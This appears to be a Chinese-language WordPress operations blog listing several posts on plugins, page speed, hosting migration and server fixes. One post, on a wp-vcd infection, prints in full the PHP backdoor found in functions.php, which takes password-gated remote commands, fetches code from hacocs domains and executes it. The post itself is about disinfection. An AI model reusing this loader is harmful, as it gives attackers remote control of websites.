
WordPress
推荐一款newsletter弹窗插件newsletter popup
WordPress • Leo 发表了文章 • 1 个评论 • 20 次浏览 • 4 天前
有很多现成的框架。
具体效果如下图:
wdcp版本升级后,无法打开,解决办法
Linux运维 • Leo 发表了文章 • 1 个评论 • 42 次浏览 • 2019-01-31 09:24
sh /www/wdlinux/wdcp/shell/cr7.sh && service wdcp restart
对于有些系统,可能安装了其它的加固软件或加固设置,可能会执行不成功,导致如下的错误提示
cp: error writing ‘/etc/rc.d/init.d/wdcp’: Permission denied
cp: failed to extend ‘/etc/rc.d/init.d/wdcp’: Permission denied
意思是这个文件权限拒绝执行,请先检查自己的环境或做过的设置,然后修改下这个文件的权限,然后再执行一次上述脚本即可
不要乱执行777,否则,后果很危险,也可能很严重 查看全部
sh /www/wdlinux/wdcp/shell/cr7.sh && service wdcp restart
对于有些系统,可能安装了其它的加固软件或加固设置,可能会执行不成功,导致如下的错误提示
cp: error writing ‘/etc/rc.d/init.d/wdcp’: Permission denied
cp: failed to extend ‘/etc/rc.d/init.d/wdcp’: Permission denied
意思是这个文件权限拒绝执行,请先检查自己的环境或做过的设置,然后修改下这个文件的权限,然后再执行一次上述脚本即可
不要乱执行777,否则,后果很危险,也可能很严重
项目添加相关产品以及如何查看是否开cloudflare
WordPress • wendy 发表了文章 • 1 个评论 • 77 次浏览 • 2019-01-22 09:21
1.后台设置:
2.代码设置:
上述代码是默认的横排,若是更改样式,则在样式表里写入想要变换的样式。
3.产品后台设置:
2.查看网站是否开启cloud flare
法1:通过dos命令窗口ping
可以查看到为104开头,是为开启cloud flare的IP段
法2:上述方法需要判断,当不知道是否为cloud flare的IP段时,可通过工具查看
像上述工具还有whois
查看全部
WordPress站点优化突破Google PageSpeed Insights瓶颈喜提满分
Google SEO • Owen 发表了文章 • 1 个评论 • 114 次浏览 • 2019-01-17 08:56
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:
这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。
就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。
然后就是由wordpress后台插件WPBakery建造的静态页面
就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。
这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。
如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。
最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:
查看全部
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:
这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。
就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。
然后就是由wordpress后台插件WPBakery建造的静态页面
就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。
这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。
如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。
最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:
WordPress疑难杂症之后台控制台503、500 error等
WordPress • Leo 发表了文章 • 1 个评论 • 111 次浏览 • 2019-01-15 16:57
#万物皆刻盘#
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭
trust the process
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
Don't worry!我会告诉你怎么解决的。
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
Perfect!!!
By the way,盘它。。。
查看全部
#万物皆刻盘#
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭
trust the process
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
Don't worry!我会告诉你怎么解决的。
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
Perfect!!!
By the way,盘它。。。
针对隽永东方建站客户产品添加,资料整理建议
WordPress • Leo 发表了文章 • 1 个评论 • 124 次浏览 • 2019-01-10 14:30
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理! 查看全部
Ewww优化器插件报错“EWWW Image Optimizer需要exec() function”
WordPress • Leo 发表了文章 • 1 个评论 • 93 次浏览 • 2019-01-07 11:37
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)
注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。 查看全部
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)
注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。
针对 Wordpress 网站的新一轮 wp-vcd 恶意软件攻击
WordPress • Leo 发表了文章 • 1 个评论 • 166 次浏览 • 2018-12-20 16:15
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。 查看全部
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。
关于WP Engine空间
WordPress • Leo 发表了文章 • 1 个评论 • 148 次浏览 • 2018-12-10 10:56
目前WP Engine主机共提供STARTUP、GROWTH、SCALE三款主机方案,都是非常适合用来搭建WordPress网站的。不过需要注意的,WP Engine主机价格却不便宜,最低价格是35美元/月(年付款可赠送2个月免费使用时间)
当然了,我还是不推荐这种主机的,没有操作上的难点,适合服务器小白使用,但是价格高,简言之,拿钱换方便,全自动,所谓全自动,也就是你的所有空间信息、域名信息(因为要绑定域名)也全是被其他人掌握的,你只需小手一点,一切便开始,便结束了。(好吧,这话是违心了)
废话不多说,以下是关于这个WP Engine的使用方法,我把迁移网站需要的一些必要设置列一下(顺序不分先后):
1、add domain (注意带www,我试过不带www,不会自动跳转,即使你解析那www记录添加了也不会跳转)
2、创建sftp 用户
3、wp-site-migrate安装这个插件(我已上传至附近,也可以在官网下载) 需添加你的wp engine登入邮箱、域名(注意带www)、主机ip地址和上一条提到的sftp用户名和密码,然后就可以开始Migrate迁移
4、迁移的时候只需配置前面几项,后面可选的可以不填,域名(带www),sftp用户名密码、ip地址,save一下就可以下一步,看到迁移进度条了,总共三个进度条,等全部100%之时,网站便已迁移成功可以打开了。
5、网站的用户名密码将是迁移之前网站的用户名密码
6、接着你可以配置ssl证书,最便宜的空间套餐是只能用空间提供的免费ssl和购买空间提供的rapidssl;
你还可以开启你网站的cdn;配置网站备份backup point以防万一;配置重定向等等;
在WP Engine空间成功开通一个网站后,也算是小小的颠覆了我以往对于网站开通的理解,当然是步骤上而非理念,不过是将步骤简化吧。
可能这就是一个新的趋势吧,所谓创新即将想法付诸于商业。 查看全部
目前WP Engine主机共提供STARTUP、GROWTH、SCALE三款主机方案,都是非常适合用来搭建WordPress网站的。不过需要注意的,WP Engine主机价格却不便宜,最低价格是35美元/月(年付款可赠送2个月免费使用时间)
当然了,我还是不推荐这种主机的,没有操作上的难点,适合服务器小白使用,但是价格高,简言之,拿钱换方便,全自动,所谓全自动,也就是你的所有空间信息、域名信息(因为要绑定域名)也全是被其他人掌握的,你只需小手一点,一切便开始,便结束了。(好吧,这话是违心了)
废话不多说,以下是关于这个WP Engine的使用方法,我把迁移网站需要的一些必要设置列一下(顺序不分先后):
1、add domain (注意带www,我试过不带www,不会自动跳转,即使你解析那www记录添加了也不会跳转)
2、创建sftp 用户
3、wp-site-migrate安装这个插件(我已上传至附近,也可以在官网下载) 需添加你的wp engine登入邮箱、域名(注意带www)、主机ip地址和上一条提到的sftp用户名和密码,然后就可以开始Migrate迁移
4、迁移的时候只需配置前面几项,后面可选的可以不填,域名(带www),sftp用户名密码、ip地址,save一下就可以下一步,看到迁移进度条了,总共三个进度条,等全部100%之时,网站便已迁移成功可以打开了。
5、网站的用户名密码将是迁移之前网站的用户名密码
6、接着你可以配置ssl证书,最便宜的空间套餐是只能用空间提供的免费ssl和购买空间提供的rapidssl;
你还可以开启你网站的cdn;配置网站备份backup point以防万一;配置重定向等等;
在WP Engine空间成功开通一个网站后,也算是小小的颠覆了我以往对于网站开通的理解,当然是步骤上而非理念,不过是将步骤简化吧。
可能这就是一个新的趋势吧,所谓创新即将想法付诸于商业。
zoho salesiq设置时候的一个注意点,设置错误会导致网站报错,影响加载
WordPress • Leo 发表了文章 • 1 个评论 • 139 次浏览 • 2018-12-05 09:14
下图为其中一处关闭logo按钮的地方,总共有两处设置logo的地方,一个是浮动框,一个是内容框
查看全部
wordpress指定插件禁止更新
WordPress • Leo 发表了文章 • 1 个评论 • 536 次浏览 • 2018-06-11 13:49
if ( isset( $value ) && is_object( $value ) ) {
unset( $value->response[ 'js_composer/js_composer.php' ] );
}
return $value;
}
add_filter( 'site_transient_update_plugins', 'remove_update_notifications' );
只需找到插件目录下插件名.php的文件,将“js_composer/js_composer.php”路径替换为指定插件目录下的插件名.php文件,因为这个文件里包含插件版本号,出新版本后,wordpress匹配后会提示更新的,对于某些特殊插件,不建议更新的、不方便更新的,都可以这样指定禁止。
之前我有分享过一个主题和所有插件都禁止更新的文章,考虑到杀伤范围略大,不建议使用,今次这个更加适用。 查看全部
if ( isset( $value ) && is_object( $value ) ) {
unset( $value->response[ 'js_composer/js_composer.php' ] );
}
return $value;
}
add_filter( 'site_transient_update_plugins', 'remove_update_notifications' );
只需找到插件目录下插件名.php的文件,将“js_composer/js_composer.php”路径替换为指定插件目录下的插件名.php文件,因为这个文件里包含插件版本号,出新版本后,wordpress匹配后会提示更新的,对于某些特殊插件,不建议更新的、不方便更新的,都可以这样指定禁止。
之前我有分享过一个主题和所有插件都禁止更新的文章,考虑到杀伤范围略大,不建议使用,今次这个更加适用。
分享一些slider以及一些布局上不错的小细节
WordPress • Leo 发表了文章 • 1 个评论 • 439 次浏览 • 2018-05-16 17:29
由于插件比较多,这边就列部分效果截图
查看全部
由于插件比较多,这边就列部分效果截图
用子目录做二级网站需要注意的地方
WordPress • Leo 发表了文章 • 1 个评论 • 420 次浏览 • 2018-05-08 17:13
二级域名: 首先,二级域名的权重大于子目录的,二级域名在搜索引擎看来和主域名是两个独立的网站,主域名在很多时候会传递一小部分信任度给二级域名(是信任度不是PR)。所以,很多做SEO的人都知道二级域名天生就比子目录具有更高的权重和更好的排名。
子目录: 首先要知道一点,子目录其实是主站的一部分,正如上面所说,权重天生就比二级域名低,但个人还是建议以子目录建立子站,原因主要是: ①、二级域名和主域名是两个相互独立的站,要优化的话,需要分别优化两个站,并且在外链的建设过程中,网站的权重会被这些独立的网站分散。主域名通过外链的建设获得高权重,并不意味者二级域名就能获得高权重。 ②、二级域名的变多,会使分离出来的二级网站变小。 ③、子目录则相反,子目录的增多会使主网站变大,随着网站的变大,主站的收录量,权重,信任度也将提升。
最后这边重点提及一下,用子目录做二级网站,我们必须要更改的.htaccess规则
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /es/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /es/index.php [L]
</IfModule>
# END WordPress
以上加粗斜体就是我们必须要更改的规则,默认是没有/es/的,举例,如果你的子目录是以es命名,那么这边就要更改为/es/,否则除了首页,所有页面点击之后都会跳转到主站对应的页面。
查看全部
二级域名: 首先,二级域名的权重大于子目录的,二级域名在搜索引擎看来和主域名是两个独立的网站,主域名在很多时候会传递一小部分信任度给二级域名(是信任度不是PR)。所以,很多做SEO的人都知道二级域名天生就比子目录具有更高的权重和更好的排名。
子目录: 首先要知道一点,子目录其实是主站的一部分,正如上面所说,权重天生就比二级域名低,但个人还是建议以子目录建立子站,原因主要是: ①、二级域名和主域名是两个相互独立的站,要优化的话,需要分别优化两个站,并且在外链的建设过程中,网站的权重会被这些独立的网站分散。主域名通过外链的建设获得高权重,并不意味者二级域名就能获得高权重。 ②、二级域名的变多,会使分离出来的二级网站变小。 ③、子目录则相反,子目录的增多会使主网站变大,随着网站的变大,主站的收录量,权重,信任度也将提升。
最后这边重点提及一下,用子目录做二级网站,我们必须要更改的.htaccess规则
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /es/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /es/index.php [L]
</IfModule>
# END WordPress
以上加粗斜体就是我们必须要更改的规则,默认是没有/es/的,举例,如果你的子目录是以es命名,那么这边就要更改为/es/,否则除了首页,所有页面点击之后都会跳转到主站对应的页面。
WordPress图片压缩插件:Compress JPEG & PNG images
WordPress • Leo 发表了文章 • 2 个评论 • 717 次浏览 • 2018-04-24 09:36
在图片优化上,TinyPNG 可谓名声赫赫。https://tinypng.com/
往常我们习惯于点击 TinyPNG 网站上的上传按钮,然后按 Ctrl 键选择多张图片上传压缩。TinyPNG 的压缩效率非常高,曾经有张 380K 的 PNG 图片压缩到了 60K,而且图片清晰度并没有明显的降低,可谓超强!
TinyPNG 对于一些深度 PhotoShop 用户也是福音,它的 PhotoShop Plugin 用起来也是相当方便的。价格50刀,永久使用,性价比无敌。
